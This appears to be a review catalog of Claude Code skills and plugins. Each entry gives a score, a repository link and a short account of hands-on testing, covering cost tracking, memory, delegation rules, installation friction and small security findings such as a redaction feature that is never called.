- **SkillOpt-Sleep** [pass, 9.2/10] — Offline nightly sleep-cycle that mines past sessions and gates CLAUDE.md/SKILL.md edits. Repo: https://github.com/microsoft/SkillOpt. Card: https://skillproof.dev/skills/skillopt-sleep. What we found: Compared a naive direct-rewrite approach against the skill's stage-then-gate-then-adopt flow with backups; reading the actual gate code confirmed the harmful-edit block is implemented exactly as documented.
- **Golang Benchmark** [pass, 9.2/10] — Statistically rigorous Go benchmarking, pprof profiling, and benchstat regression workflow Repo: https://github.com/samber/cc-skills-golang. Card: https://skillproof.dev/skills/golang-benchmark. What we found: Installed Go 1.26.5 and benchstat (installation command from Dependencies worked verbatim) and ran the documented workflow on a real module: naive concatenation vs. strings.Builder, ReportAllocs + b.Loop() + -count=10 + benchstat yielded -81.50% sec/op (p=0.000, n=10), -88.68% B/op, -92.86% allocs/op exactly in the three-table commit format described in SKILL.md. The unmanaged baseline ran once and got 324.1 -> 59.46 ns/op without allocations or statistics — benchstat showed a ±105% spread for the old version, meaning the baseline number was random, though it guessed the direction. Relative to our 10.07 test, the author added a new 'File and Ordering Conventions' section (version 1.2.5 -> 1.2.6): benchmarks in a separate file named after the source (parser.go -> parser_bench_test.go) and Benchmark* order as in the source. The convention itself is harmless, but its justification was checked and found incorrect: a fixture with type errors was placed in _bench_test.go — `go test -run . -short` still failed compilation, and `go test -bench=.` still ran TestJoin, meaning file separation provides neither 'do not compile bench-fixtures' nor 'output without Test*-noise'. The skill's core is untouched, so the verdict remains the same, but docs 5 -> 4 for this false justification.
- **Token Doctor** [pass, 9.2/10] — Reads your local Claude Code/Cowork transcripts and prints a real cost-shape diagnosis in the terminal. Repo: https://github.com/techwolf-ai/ai-first-toolkit. Card: https://skillproof.dev/skills/token-doctor. What we found: Actually ran the two deterministic scripts against real local Claude transcripts on this machine and got genuine numbers back: $72.01 across 3 conversations, 77% of spend in one marathon session, $5.80 in cache-rebuild cost.
- **Free My CPU** [pass, 9.2/10] — Read-only CPU/load/Docker audit workflow with safety-tiered remediation, never kills anything unasked. Repo: https://github.com/wquguru/skills. Card: https://skillproof.dev/skills/free-my-cpu. What we found: Ran both the plain ad hoc audit and the skill's macOS command set on a real machine live — the skill version alone flagged WindowServer/Chrome as the actual top CPU consumers and classified load as non-saturated instead of just dumping raw uptime numbers.
- **Analyze Costs** [pass, 9.2/10] — Cloud cost analysis and savings via Harness CCM, plus anomaly and commitment checks. Repo: https://github.com/harness/harness-skills. Card: https://skillproof.dev/skills/analyze-costs. What we found: Best-documented skill in this batch: frontmatter states upfront it needs harness-mcp-v2, and the body ships a troubleshooting section covering '24-48h initial sync' and 'no recommendations' edge cases most MCP-bound skills never mention.
- **Skill Tree Generator** [setup, 9.2/10] — Converts a bloated Claude skill into a routing tree that loads only what each request needs. Repo: https://github.com/maipianworni/SkillTree. Card: https://skillproof.dev/skills/skill-tree-generator. What we found: Generated ROUTER.md files are pulled verbatim from router_template.md, whose literal headers ('你已到达 {module} 子树', '判断条件 | 下一跳') are Chinese — any tree this skill builds ships with hardcoded Chinese-language routing labels baked into the output artifact regardless of the target skill's language, which is real friction for an English-only shop that would need a manual translation pass.
- **Agentic Coach** [pass, 9.2/10] — Scores a vague prompt on 6 dimensions and asks Socratic questions instead of silently rewriting and running it. Repo: https://github.com/cgbarlow/skills. Card: https://skillproof.dev/skills/agentic-coach. What we found: Gave it the vague prompt 'build a login system': default (no-skill) behavior would proceed straight to implementation with assumed defaults, while following the skill body produced a scored 6-dimension assessment, three concrete clarifying questions (app type, auth method, compliance needs), and an explicit hold on execution -- the stop-and-ask gate it advertises is real, not just a description claim.
- **Optimise Skill** [pass, 9.2/10] — Vendors Microsoft's SkillOpt/OPRO engine to retrain one skill's judge-shaped rubric against a labelled outcome corpus, gated by a held-out set. Repo: https://github.com/yungbose/upskill. Card: https://skillproof.dev/skills/optimise-skill. What we found: Actually ran it: scripts/setup.py --apply scaffolded a real 9-file optimisation/ contract (manifest, rubric, train/val/test corpus dirs, holdout incident/reversal fixtures, ledger) for a throwaway consumer, validate_manifest.py passed it clean, and the full 206-test suite passed instantly with stub judges and zero LLM calls, exactly matching the README's own verified claim. Did not run the live LLM training loop itself since that shells out to a real claude -p subscription call.
- **Eco Max** [pass, 9.2/10] — Frugality rules plus a low reasoning-effort override for routine chores — measured, not asserted. Repo: https://github.com/sup3x/claude-code-eco. Card: https://skillproof.dev/skills/eco-max. What we found: Ran its own bundled fixture (test/orders.js, two real bugs) as a baseline-vs-skill A/B: the un-skilled answer re-pasted the whole fixed file and closed with an unprompted offer to write tests (~220 words); following the skill's rules produced the same two correct fixes cited as path:line with no re-paste in about 45 words — and the repo's own 82-run published benchmark (including an honest Haiku regression) backs the same pattern.
- **Compact Guard** [pass, 8.8/10] — Pre/post-compaction checklist that preserves task state inside Claude Code's real compaction limits. Repo: https://github.com/rohitg00/pro-workflow. Card: https://skillproof.dev/skills/context-compression. What we found: Ships the actual Claude Code compaction constants (5-file, 50K-token restore budget) and a copy-paste pre-compact checklist — concretely more useful than generic 'summarize before compacting' advice, though the per-technique token-savings percentages are the author's estimates, not measured. (Listed here under our older name; the skill's own name is "Compact Guard".)
- **WJS Burning Subtitles** [pass, 8.8/10] — Burns SRT subtitles into video for WeChat/Douyin or soft-muxes a togglable track, with libass auto-fallback. Repo: https://github.com/jianshuo/claude-skills. Card: https://skillproof.dev/skills/wjs-burning-subtitles. What we found: Ran it for real: a naive unescaped force_style command failed instantly with a filter-parse error, and this machine's actual Homebrew ffmpeg genuinely lacks libass, exactly the failure mode the skill warns to check for first; its documented soft-mux fallback then ran clean, producing a verified togglable Chinese (zho) mov_text track via ffprobe.
- **Delegation Triggers** [pass, 8.8/10] — Explicit rules for when to spawn subagents vs. work directly, tuned against a 408-run benchmark. Repo: https://github.com/vitaliikapliuk/modelharness. Card: https://skillproof.dev/skills/delegation-triggers. What we found: Applied to a real fan-out-or-not decision (12 independent auth-check files vs. one date-parsing function), it produced a decisive split -- parallel audit subagents for the files, direct work for the single function -- where unguided judgment just hedged; its 'Opus 4.8 under-delegates' claim checks out against the repo's own published 408-run benchmark table.
- **Claude Usage** [pass, 8.8/10] — Ground-truth Claude token/cost reports by parsing JSONL directly, catching what ccusage misses. Repo: https://github.com/tdimino/claude-code-minoan. Card: https://skillproof.dev/skills/claude-usage. What we found: Re-derived its dedup-by-message-id method against my own real ~/.claude/projects JSONL data: a naive same-scope count overcounted output tokens by ~60% (13.8M vs 8.6M) purely from undeduplicated streaming chunks, and missed 263 subagent files outright — a concrete, reproducible demonstration of the exact failure mode the skill claims to fix.
- **Memory Loop** [setup, 8.8/10] — Structured project-memory writer for .claude/memory/MEMORY.md — but ships as a plugin, not a bare skill. Repo: https://github.com/yucai0302/memory-loop. Card: https://skillproof.dev/skills/memory-loop. What we found: Confirmed live: copying only skills/memory-loop/ leaves .claude/memory/ empty because schema.yaml and MEMORY.md.tpl are bootstrapped by hooks/session-start.sh (a SessionStart hook outside the skill folder) — the README is upfront that the real install path is `/plugin install`, not a bare skill copy, so this is friction, not deception.
- **WSL Interop** [pass, 8.8/10] — Windows/WSL path conversion, clickable file links, and SSH-agent interop rules for Claude Code in WSL. Repo: https://github.com/JeremiahChurch/claude-skill-wsl-interop. Card: https://skillproof.dev/skills/wsl-interop. What we found: The README itself admits automatic triggering is unreliable for ordinary phrasing like 'where's my file?' and recommends forcing it via a CLAUDE.md directive — testing my own trigger judgment confirmed exactly that gap on an ambiguous no-path-mentioned query, while explicit-path and explicit-SSH-agent phrasings triggered cleanly. On the actual Windows-drive-path task, the skill correctly avoided the broken clickable-link mistake (no file:// URI works for /mnt/c/ paths) and used the documented 'show C:\ path, offer to open via cmd.exe' pattern instead — a baseline answer without the skill would likely have tried to construct a link that doesn't work.
- **Prompt Enhancer** [setup, 8.8/10] — Turns a vague '-e'/'--enhance'-flagged request into a structured INTENT/ACTION spec using session memory. Repo: https://github.com/Prorise-cool/prorise-claude-skills. Card: https://skillproof.dev/skills/prompt-enhancer. What we found: The SKILL.md that matches the catalog description sits five folders deep inside another skill's own internal routing index (ai-specialist/references/domains/prompt-engineering/prompt-enhancer) and is never listed as an installable skill in the repo's own README, which only documents copying the 18 top-level specialist folders — real friction, even though the file itself copies out clean and self-contained.
- **Vaultr Memory** [setup, 8.8/10] — Extracts identity/preferences/goals/beliefs/people/state from Vaultr notes with decay-based memory files. Repo: https://github.com/skoowoo/vaultr-notes. Card: https://skillproof.dev/skills/vaultr-memory. What we found: The classification rules are the real value: it correctly tells the agent to pull only a dated personal stance (the '立场' section) from a podcast summary and explicitly NOT extract the podcast's guests as 'people' - a distinction a naive prompt would miss - but none of this runs without the proprietary Vaultr desktop app, its `vaultr` CLI, and a pre-existing vault.
- **Fable Fanout** [pass, 8.8/10] — Forces parallel one-message delegation instead of serial spawn-wait-spawn on multi-unit tasks. Repo: https://github.com/rennf93/opus-fable-playbook. Card: https://skillproof.dev/skills/fable-fanout. What we found: Ran the same 3 independent lookups two ways: baseline as 3 separate serial round-trips vs skill-guided as 1 batched round-trip with 3 tool calls — identical facts, but 66% fewer round-trips under the skill's 'never spawn one, wait, spawn the next' rule; README candidly admits the doctrine still loses on 1 of 24 parallelism probes rather than oversell the win.
- **Brain Uninstall** [setup, 8.8/10] — Confirmation-gated, password-masking teardown for the mybrain memory plugin across Docker, local, and remote Postgres. Repo: https://github.com/robertsfeir/atelier-pipeline. Card: https://skillproof.dev/skills/brain-uninstall. What we found: Every destructive step (container removal, volume delete, dropdb, DROP SCHEMA) gets its own separate yes/no and passwords are masked in all displayed URLs, but the 'personal config' path relies on ${CLAUDE_PLUGIN_DATA}, which only resolves when this skill runs inside the actual mybrain/atelier-pipeline plugin install — a manual `cp -r` into ~/.claude/skills leaves that half of config-detection silently blind, working only for the shared `.claude/brain-config.json` path.
- **ADB Android Control** [pass, 8.8/10] — ADB command cheatsheet plus a real, 349-test Python CLI for Android device automation from Claude. Repo: https://github.com/hah23255/adb-android-control. Card: https://skillproof.dev/skills/adb-android-control. What we found: Unusually well-engineered for a skill repo: built a throwaway venv, installed the bundled Python package, and actually ran its pytest suite live — 349 tests passed (the marketplace.json claim of '338 tests' is close and, if anything, an undercount, not overselling); the CLI (adb-control --help) also failed gracefully with a clear message when no adb binary was on PATH instead of crashing.
- **Fable God Mode** [pass, 8.8/10] — 10-80-10 delegation discipline: expensive model plans and reviews, cheap subagents do the verbose middle. Repo: https://github.com/nagarjuna-msr/fable-god-mode. Card: https://skillproof.dev/skills/fable-god-mode. What we found: The v0.2.0 bump landed after our test but adds only discipline rules — name every subagent's model explicitly, recompute claimed numbers from disk, falsify new checks before trusting them, own the clock on long or paid jobs, and take two isolated takes on open decisions. We re-checked the audit reference and every safety property we praised is intact: never-delete archive-only remediation, per-item consent, a SHA-256 manifest, one-prompt restore, and diff-plus-approval before any CLAUDE.md or settings.json edit. The v0.2.0 probe-mode and release-gate churn went to the sibling fable-super-god-mode, not this skill. The verbatim install works from a bare HOME and Stage 0 is clean, so the pass holds.
- **Prompt Sensei** [pass, 8.8/10] — Scores your prompts to coding agents by stage and coaches one habit at a time Repo: https://github.com/chengzhongwei/Prompt-sensei. Card: https://skillproof.dev/skills/prompt-sensei. What we found: Scored nine prompts from the repo's own 24-case calibration set twice — once cold, once following the skill body — and checked both against the fixtures' expected score bands and tip labels. Cold, I landed in the expected band 5 of 9 times and walked straight into two traps the fixtures flag explicitly: I told "fix this test" and "refactor the whole app" to specify an output format, which the fixture marks as the wrong advice for a debugging prompt. I also scored "run the tests" at roughly 15/100 as vague, where the skill's Action stage correctly reads it as a clear follow-through directive worth 90+. Following the skill body: 9 of 9 in band, zero traps, because the tipKind priority table forces expected/actual and scope ahead of response polish. Caveat worth stating plainly — the fixtures ship with the skill, so the band-matching is partly a self-consistency check; the non-circular wins are the output-format trap and the systematic under-scoring of short prompts. Storage claims check out: zero network calls in the compiled scripts, a real redactor, and every consent flag defaulting to not-granted on a fresh install.
- **Compress Prompt** [setup, 8.4/10] — Strips a verbose prompt down to the minimal instruction a model actually needs, with a keep/drop rubric. Repo: https://github.com/doodledood/manifest-dev. Card: https://skillproof.dev/skills/compress-prompt. What we found: The keep/drop rubric genuinely tightens a bloated prompt (140-token sample cut to ~30 while preserving the one novel constraint) but its required verifier subagent lives outside the skill folder in .claude/agents/, so a plain `cp -r` of the skill directory silently breaks the verification step.
- **Gridhand** [setup, 8.4/10] — Rust CLI that lets an agent click desktop GUIs by naming a labeled grid cell instead of guessing pixel coordinates. Repo: https://github.com/ZachRouan/agent-desktop-interface. Card: https://skillproof.dev/skills/gridhand. What we found: Real ~9,100-line zero-dependency Rust binary (verified: empty Cargo.toml deps, Cargo.lock has exactly 1 entry, no AT-SPI/AXUIElement/UIAutomation references in source) implementing genuine OS-level screenshot/input via CoreGraphics/uinput/user32 — not a stub. But it needs a Rust toolchain (or a trusted prebuilt release binary) plus OS permission grants (macOS Accessibility+Screen Recording, Linux udev/input-group via sudo) before a single command runs, and this sandbox had neither cargo nor grantable OS permissions, so the actual click-accuracy of the grid method could not be verified end to end.
- **Mythos Scaffold** [pass, 8.4/10] — Agentic-discipline scaffold: decomposition, verification, stuck-detection, plus research and migration domain modes. Repo: https://github.com/kasparovabi/claude-mythos-scaffold. Card: https://skillproof.dev/skills/mythos-scaffold. What we found: Applied to a small Flask-endpoint-plus-tests task, the scaffold's verification.md caught a real gap a baseline plan didn't have: reading test output for skipped/warning noise instead of trusting exit code 0, plus an explicit stuck-after-3-turns and never-rm-rf-without-asking gate.
- **Cost Tracker** [pass, 8/10] — Static reference for what drives Claude Code session cost and per-task-type budget thresholds — not a transcript auditor. Repo: https://github.com/rohitg00/pro-workflow. Card: https://skillproof.dev/skills/token-budget-auditor. What we found: Gives concrete per-task-type dollar and tool-call budgets (e.g. bug fix: $0.10-0.50, 30-call budget, wrap up at 25) but doesn't compute your actual session cost itself — it just points you at Claude Code's own /cost output. (Listed here under our older name; the skill's own name is "Cost Tracker".)
- **Prompt Discipline** [pass, 8/10] — Diagnose the failure first, then make the smallest fix — no magic-template rewrites. Repo: https://github.com/Skillproofdev/prompt-discipline. Card: https://skillproof.dev/skills/prompt-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Bench: 10 flawed prompts x 3 arms (original / plain-Claude rewrite / skill rewrite), n=1 per case. The skill rewrite beat the base rewrite on success (0.90 vs 0.80), format-compliance (0.80 vs 0.70), and added less than half the prompt bloat (+44.5 vs +99.5 words median) — but the margin rests almost entirely on one case (case-06) and the skill still lost case-09, so this is a modest, narrow, unreplicated (n=1) win rather than a decisive one. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Token Discipline** [pass, 8/10] — Input-side token rules for Claude Code — ~20% off multi-step work, wash on one-shots. Repo: https://github.com/Skillproofdev/token-discipline. Card: https://skillproof.dev/skills/token-discipline. What we found: Our own skill — tested under the same protocol, disclosed. README's raw telemetry (5 task pairs, baseline vs with-skill agent, identical prompts) shows a real but narrow win: −19.0% and −19.9% tokens on the two multi-step tasks (codebase Q&A, multi-file edit), versus −2.1%, +0.0%, +5.7% on the three one-shot tasks — a wash there, as the README itself admits. No independent bench/ directory exists; this verdict is sourced entirely from the README's own numbers, which is a limitation on top of the modest effect size. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Agent Team Design** [pass, 8/10] — Design multi-agent teams with explicit memory, policy, and eval owners Repo: https://github.com/agentlas-ai/Agentlas-OS. Card: https://skillproof.dev/skills/agent-team-design. What we found: Followed the five-step procedure to design a support-triage agent team, and it forced an explicit memory owner, policy owner, and evaluation owner plus a start-with-one-agent rule that a freeform baseline design left out entirely. Single self-contained SKILL.md, installs clean with no dependencies, and the referenced agents/ example tree actually ships in the repo.
- **memU** [setup, 7.6/10] — Gives the agent persistent cross-session memory to save and recall project context. Repo: https://github.com/NevaMind-AI/memU. Card: https://skillproof.dev/skills/memu. What we found: The old 'fails' verdict is now false against upstream: the author moved SKILL.md to the repo root (the old cp path is broken, so the install command changed) and rebuilt it into an installer that routes to an in-package guide. `pip install memu-cli` now really publishes v0.3.0 and drops the exact binaries the skill names — I ran `memu-agent detect` and it produced a grounded per-host probe (found ~/.claude with 1103 session files, redirected me to memu-claude-code), and `memu-claude-code docs install` printed a coherent verify-gated 3-part guide. Store can be local SQLite with a configurable embedding provider, and the CLAUDE.md inject seam is disclosed and user-driven, so no Stage 0 exfil/escalation hit. It is 'setup' rather than 'pass' because completing actual memory record+retrieve still requires the user to supply an LLM/embedding provider key and register the scheduled bridging task — I verified the installer executes, not a full memory round-trip.
- **Synapptic** [setup, 7.6/10] — Mines your Claude Code session transcripts into a living user/AI-failure profile and guard list Repo: https://github.com/appcuarium/synapptic. Card: https://skillproof.dev/skills/synapptic. What we found: Actually pip-installed the real PyPI package and ran the full CLI against a synthetic session transcript with obvious correction signals ('stop explaining, just do it', 'read an existing service first'); `index`/`stats`/`extract`/`install` all behaved exactly as SKILL.md documents (min-lines gating, provider config, SessionEnd hook + settings.json registration all really got written), and the pipeline only stopped at the final LLM call because it needs a logged-in `claude` CLI or an API key -- an honestly-disclosed, expected requirement, not a skill defect.
- **MeMesh Review** [setup, 7.6/10] — Health-scores and cleans up your MeMesh AI memory database Repo: https://github.com/PCIRCLE-AI/memesh-llm-memory. Card: https://skillproof.dev/skills/memesh-review. What we found: Real run against a live memesh DB produced a clean structured health report, but the Step-1 commands `memesh recall --tag "type:decision"` etc. return empty arrays against the actual CLI (types are a field, not a `type:x` tag) — a literal-follow agent silently undercounts. Also points to `./scripts/verify-docs-sync.sh` (repo-root only, not in the skill folder) and an undefined external plugin `@sa:comprehensive-code-review`.
- **Sandy** [setup, 7.6/10] — Deterministic replay of MCP/tool-call sequences so repeated workflows skip LLM inference entirely. Repo: https://github.com/Sangkwun/sandy. Card: https://skillproof.dev/skills/sandy. What we found: SKILL.md points to ${CLAUDE_PLUGIN_ROOT}/scripts/play.py, references/schema.md and assets/examples/, but all three live as siblings of skills/sandy/ at the plugin root, not inside it -- a straight cp -r of the skill folder ships a SKILL.md with no scripts/ directory at all, confirmed by actually running the copied skill and getting FileNotFoundError; manually reassembling SKILL.md + scripts/ + references/ + assets/ into one flat folder and re-running fixed it and produced a correct dry-run and a real end-to-end scenario (glob -> append_file) with zero LLM calls.
- **Recursive Decomposition** [setup, 7.6/10] — Large-context tactics: grep-first, chunk, recurse via sub-agents Repo: https://github.com/massimodeluisa/recursive-decomposition-skill. Card: https://skillproof.dev/skills/recursive-decomposition. What we found: A pure-prose guidance skill (no scripts) that codifies large-context tactics: grep before read, wc -l before opening files, partition lists over 10, recurse via sub-agents. On a representative multi-file analysis task the recommended method and the final answer were identical to the no-skill baseline, because a capable agent already does exactly this, so no measurable delta was demonstrated. The four reference files (677 lines) are well written and accurately reflect the RLM paper concept, and the install runs clean from a bare HOME. Useful as a reminder or for weaker agents, but it did not beat the baseline here.
- **FewWord** [setup, 7.6/10] — Auto-offloads big command output to files, returns a compact pointer Repo: https://github.com/sheeki03/Few-Word. Card: https://skillproof.dev/skills/fewword. What we found: Executed the offload hook live: a 600-line, 20KB command was rewritten to capture output to .fewword and returned a single ~10-token pointer to the model instead of the full dump, a real and measured context saving over the baseline. But that automation lives in the plugin's PreToolUse hooks, not in the SKILL.md, so installing it as a plain skill delivers only the manual filesystem-memory patterns. The advertised 'secret redaction ON by default' is not wired into the offload path: an AWS key in the output was written to disk verbatim 600 times, and the Redactor class is imported but never called. The session-start update check also pings GitHub on every launch (a public GET with no user data and an opt-out env var). Strong mechanism, but it needs the plugin/hooks install and its redaction claim is currently false.
- **Browser CDP** [setup, 7.6/10] — Drive Chrome over CDP to reuse existing login sessions for automation Repo: https://github.com/worldwonderer/oh-story-claudecode. Card: https://skillproof.dev/skills/browser-cdp. What we found: The bundled setup-cdp-chrome.js ran cleanly in --detect-only and --dry-run, correctly detecting the user's live Chrome and refusing to kill it without --yes (exits code 3 NEEDS_CONSENT in non-TTY, which is the right safety default). It copies the Chrome profile locally to reuse login state and stays on-machine with no network exfiltration. The task delta is unmeasured: the real path needs a global agent-browser install (not present) and would kill the user's running Chrome, so the automation itself could not be safely exercised. The skill body is almost entirely in Chinese.
- **Continue (Token Saver)** [setup, 7.6/10] — Zero-token session context restore by reading transcripts directly, not /compact Repo: https://github.com/ww-w-ai/claude-code-token-saver. Card: https://skillproof.dev/skills/continue. What we found: Ran the bundled list-sessions.js and preprocess.js live against a real 19MB project transcript: it detected the auto-compact boundary and built a verbatim compact cache in under two seconds with zero LLM tokens, a genuine alternative to /compact. But the skill is plugin-shaped: SKILL.md invokes its scripts via ${CLAUDE_PLUGIN_ROOT}/scripts/, which a plain skill-directory install does not provide, so the exact command fails with 'Cannot find module /scripts/list-sessions.js'. It works well installed as the plugin (/plugin install claude-code-token-saver@ww-w-ai) but is broken as a standalone skill copy. Mislabeled crypto; it is an efficiency/token-saving tool.
- **STRETCH AI Yoga** [setup, 7.6/10] — Self-applied cognitive practices an AI agent runs on itself between tasks Repo: https://github.com/stretchvancouver/stretch-ai-yoga. Card: https://skillproof.dev/skills/stretch-ai-yoga. What we found: Seven self-applied cognitive practices (breath cycles, attention asana, nidra) that read as reflective prompt-engineering rituals the agent runs on itself. It installs and reads cleanly, and the docs are refreshingly honest that the yoga framing is optional and the exercises do the work. But the claimed gains (calibration, attention, deliberation) are self-reported introspection with no artifact to compile or measure, so a with-versus-without run surfaces no delta you can point to. Coherent as a structured reflection habit, not something demonstrated to beat a no-practice baseline.
- **Prompt Caching** [setup, 7.2/10] — Cross-provider (Anthropic/OpenAI/Bedrock/Gemini) prompt-caching diagnostic playbook — four of its own linked reference files are missing from the repo. Repo: https://github.com/cobusgreyling/agent-skills. Card: https://skillproof.dev/skills/prompt-cache-optimizer. What we found: Nails the actual diagnostic playbook — demands the real hit-rate number, walks the cache-boundary rule, flags Anthropic's 125%-write/10%-read billing asymmetry — but four reference files it points to (references/anthropic-caching.md, openai-caching.md, gemini-caching.md, cost-math.md) simply aren't in the repo; a user has to source those provider deep-dives themselves. (Listed here under our older name; the skill's own name is "Prompt Caching".)
- **Compute Env Setup** [setup, 7.2/10] — Playbook for standing up remote GPU/conda/Slurm/Modal compute environments Repo: https://github.com/xuzhougeng/wisp-science. Card: https://skillproof.dev/skills/compute-env-setup. What we found: Substantial, battle-scarred documentation -- the failure table maps real symptoms like 'no kernel image is available' and 'Read-only file system under CACHE_VAR' to specific fixes -- but every action verb routes through proprietary platform tools (compute_details, submit_job, build_env, the compute_provider kernel) that don't exist outside wisp-science, so a standalone user has nothing to execute and no delta can be measured. Useful only inside that platform; setup, not pass.
- **Claude Mind** [setup, 7.2/10] — Persistent cross-session memory for Claude stored in one portable .mv2 file Repo: https://github.com/memvid/claude-brain. Card: https://skillproof.dev/skills/mind. What we found: Installed the SDK and drove the real store-and-retrieve loop: seeded five project decisions via the Mind API, then find.js and ask.js pulled back the exact CORS fix, the React-vs-Vue rationale, and migration 0042's 30-minute session expiry with sensible scores. That is a genuine delta a no-skill baseline cannot match, since a fresh session has zero cross-session recall. The friction is real, though: the skill-dir copy the catalog installs contains only SKILL.md, whose commands point at dist/scripts under CLAUDE_PLUGIN_ROOT that are absent unless you install the full plugin, which also silently runs `npm install` (278 packages) on SessionStart. Retrieval is lexical (mode:lex) despite the doc advertising 'semantic search', so keyword overlap matters.
- **Token Reducer** [setup, 6.8/10] — RAG context-compression pipeline for agents — its CLI script isn't in the skill folder. Repo: https://github.com/Madhan230205/token-reducer. Card: https://skillproof.dev/skills/token-reducer. What we found: The CLI it tells you to run — `${CLAUDE_PLUGIN_ROOT}/scripts/context_pipeline.py` — lives at the repo root, not inside the skill folder the README has you copy, so a bare skill install 404s on its own primary command.
- **Oracle Challenge** [setup, 6.4/10] — Structured critical-thinking framework to pressure-test a decision before you commit. Repo: https://github.com/martinffx/atelier. Card: https://skillproof.dev/skills/oracle-challenge. What we found: The framework text is a solid critique checklist, but Step 1 and Step 3 literally invoke '@agent-oracle' and an MCP sequential-thinking tool that a verbatim skill-folder copy does not include — confirmed by installing only skills/oracle-challenge and finding no ~/.claude/agents/oracle.md present, so Claude has to run the framework itself instead of delegating as documented.
- **Hivemind Goals** [fails, null/10] — Creates and tracks team goals, KPIs, and tasks through the Hivemind virtual filesystem. Repo: https://github.com/activeloopai/hivemind. Card: https://skillproof.dev/skills/hivemind-goals. What we found: Tested and rejected: the skill is inseparable from the commercial @deeplake/hivemind package — copying the SKILL.md alone yields a non-functional skill, and the documented workflow cannot run without the paid product. Listed so you don't repeat the install.
- **AVIZ Skills Installer** [fails, null/10] — Installs skills from the AVIZ library — but its own doc/discovery links point to a dead domain. Repo: https://github.com/aviz85/claude-skills-library. Card: https://skillproof.dev/skills/aviz-skills-installer. What we found: SKILL.md's mandatory 'always fetch real-time data, never hardcode' step points at https://aviz.github.io/claude-skills-library/ (missing the '85') which 404s live; the correct site aviz85.github.io/claude-skills-library/ works fine and even the same repo's top-level README.md and bundled install-skill.sh clone command carry the identical dead-domain/repo typo, and that script's hardcoded skill allowlist references 3 skills that don't exist in the repo while omitting ~20 that do.
- **Pull Workflow (Hive)** [fails, null/10] — Pulls a crowd-sourced multi-step browser procedure from Hive and executes it step by step. Repo: https://github.com/Brainrot-Creations/claude-plugins. Card: https://skillproof.dev/skills/pull-workflow. What we found: The skill body is just a wrapper around hive_search/hive_pull_workflow/hive_vote_workflow MCP calls — those tools only exist if you also install the plugin's .mcp.json (points at https://api.hive.brainrotcreations.com/mcp) and register an agent identity; a bare `cp -r .../pull-workflow` copy has zero working tools to call.
- **Outsourcerer** [fails, null/10] — Offload grunt work to a cheaper engine while Claude orchestrates Repo: https://github.com/alexgreensh/outsourcerer. Card: https://skillproof.dev/skills/outsourcerer. What we found: Tried to delegate a real job — write pytest tests for a fizzbuzz module — and could not get a single lane to run: devin, gemini, droid and cursor-agent are not installed, there is no OpenRouter key, the local codex turned out to be a shell alias rather than a PATH binary, and the claude-native fallback died on a 401 because headless auth is separate from an interactive login. So the central claim, that a cheaper engine does the grunt work, is unmeasured here rather than confirmed or denied. What did run is genuinely careful: the cloud disclosure fired before anything left the machine, and the source deliberately extracts one named key from ~/.env with a comment explaining that sourcing the file would leak every other secret to a third-party model. Two real gaps though — with no OpenRouter key the advertised live-benchmark model picking collapses into a nine-way tie at score 55, and advise then recommended the codex lane that its own doctor had already reported as not ready.